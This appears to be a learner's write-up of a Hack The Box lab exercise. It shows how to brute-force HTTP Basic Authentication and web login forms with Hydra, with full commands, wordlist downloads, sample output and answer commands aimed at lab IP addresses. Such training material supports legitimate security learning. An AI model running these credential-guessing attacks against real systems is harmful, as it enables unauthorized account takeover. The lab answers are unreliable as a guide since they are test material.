Hydra

Basic HTTP Authentication

Exploiting Basic Auth with Hydra

We will use the http-get hydra service to brute force the basic authentication target.

In this scenario, the spawned target instance employs Basic HTTP Authentication. We already know the username is basic-auth-user. Since we know the username, we can simplify the Hydra command and focus solely on brute-forcing the password. Here's the command we'll use:

# Download wordlist if needed
eldeim@htb[/htb]$ curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Common-Credentials/2023-200_most_used_passwords.txt
# Hydra command
eldeim@htb[/htb]$ hydra -l basic-auth-user -P 2023-200_most_used_passwords.txt 127.0.0.1 http-get / -s 81

...
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-09 16:04:31
[DATA] max 16 tasks per 1 server, overall 16 tasks, 200 login tries (l:1/p:200), ~13 tries per task
[DATA] attacking http-get://127.0.0.1:81/
[81][http-get] host: 127.0.0.1   login: basic-auth-user   password: ...
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-09-09 16:04:32

Upon execution, Hydra will systematically attempt each password from the 2023-200_most_used_passwords.txt file against the specified resource. Eventually it will return the correct password for basic-auth-user, which you can use to login to the website and retrieve the flag.

PoCs - Questions

  • After successfully brute-forcing, and then logging into the target, what is the full flag you find?

hydra -l basic-auth-user -P 2023-200_most_used_passwords.txt -s 34967 94.237.55.43 http-get /

Login Forms

http-post-form

The general structure of a Hydra command using http-post-form looks like this:

eldeim@htb[/htb]$ hydra [options] target http-post-form "path:params:condition_string"

Understanding the Condition String

In Hydra’s http-post-form module, success and failure conditions are crucial for properly identifying valid and invalid login attempts. Hydra primarily relies on failure conditions (F=...) to determine when a login attempt has failed, but you can also specify a success condition (S=...) to indicate when a login is successful.

hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid credentials"

In this case, Hydra will check each response for the string "Invalid credentials." If it finds this phrase, it will mark the login attempt as a failure and move on to the next username/password pair. This approach is commonly used because failure messages are usually easy to identify.

However, sometimes you may not have a clear failure message but instead have a distinct success condition. For instance, if the application redirects the user after a successful login (using HTTP status code 302), or displays specific content (like "Dashboard" or "Welcome"), you can configure Hydra to look for that success condition using S=. Here’s an example where a successful login results in a 302 redirect:

hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:S=302"

In this case, Hydra will treat any response that returns an HTTP 302 status code as a successful login. Similarly, if a successful login results in content like "Dashboard" appearing on the page, you can configure Hydra to look for that keyword as a success condition:

hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:S=Dashboard"

The params string consists of key-value pairs, similar to how data is encoded in a POST request. Each pair represents a field in the login form, with its corresponding value.

  • Form Parameters: These are the essential fields that hold the username and password. Hydra will dynamically replace placeholders (^USER^ and ^PASS^) within these parameters with values from your wordlists.

  • Additional Fields: If the form includes other hidden fields or tokens (e.g., CSRF tokens), they must also be included in the params string. These can have static values or dynamic placeholders if their values change with each request.

  • Success Condition: This defines the criteria Hydra will use to identify a successful login. It can be an HTTP status code (like S=302 for a redirect) or the presence or absence of specific text in the server's response (e.g., F=Invalid credentials or S=Welcome).

Therefore, our params string would be:

/:username=^USER^&password=^PASS^:F=Invalid credentials

  • "/": The path where the form is submitted.

  • username=^USER^&password=^PASS^: The form parameters with placeholders for Hydra.

  • F=Invalid credentials: The failure condition – Hydra will consider a login attempt unsuccessful if it sees this string in the response.

We will be using top-usernames-shortlist.txt for the username list, and 2023-200_most_used_passwords.txt for the password list.

This params string is incorporated into the Hydra command as follows. Hydra will systematically substitute ^USER^ and ^PASS^ with values from your wordlists, sending POST requests to the target and analyzing the responses for the specified failure condition

PoCs - Questions

  • After successfully brute-forcing, and then logging into the target, what is the full flag you find?

hydra -L top-usernames-shortlist.txt -P 2023-200_most_used_passwords.txt -s 45367 94.237.54.192 http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials"

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